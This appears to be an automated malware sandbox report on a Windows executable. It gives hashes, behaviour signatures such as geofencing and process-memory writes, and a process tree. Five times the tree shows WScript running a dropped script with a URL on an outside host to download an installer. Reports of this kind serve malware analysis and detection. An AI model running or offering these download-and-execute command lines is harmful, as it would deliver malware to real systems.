Analysis

  • max time kernel
    133s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-05-2024 14:04

General

  • Target

    638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    638cfeb1a587464a49ddca953cc58092

  • SHA1

    3ad4c297736b0555bcebce7ed08cde14130b850b

  • SHA256

    fb447578be5ebddb61767ffafb67c2f1eb2fc62edd95eee3737a93f523969c8d

  • SHA512

    4979f9258b947fbb7bb16337ebddbbf88d1c9fe088431461cab335b7f92f99b13bb8ac6b1358e286560137a98b35b5ece66507dc0c8289e29cb284b6c9254414

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO32:/7BSH8zUB+nGESaaRvoB7FJNndnn

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\638cfeb1a587464a49ddca953cc58092_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3852
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe
      2⤵
      • Blocklisted process makes network request
      PID:3432
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe
      2⤵
      • Blocklisted process makes network request
      PID:3592
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe
      2⤵
      • Blocklisted process makes network request
      PID:2088
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe
      2⤵
      • Blocklisted process makes network request
      PID:1636
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf412F.js" http://www.djapp.info/?domain=tWJkfNCHZp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf412F.exe
      2⤵
      • Blocklisted process makes network request
      PID:1760

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf412F.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76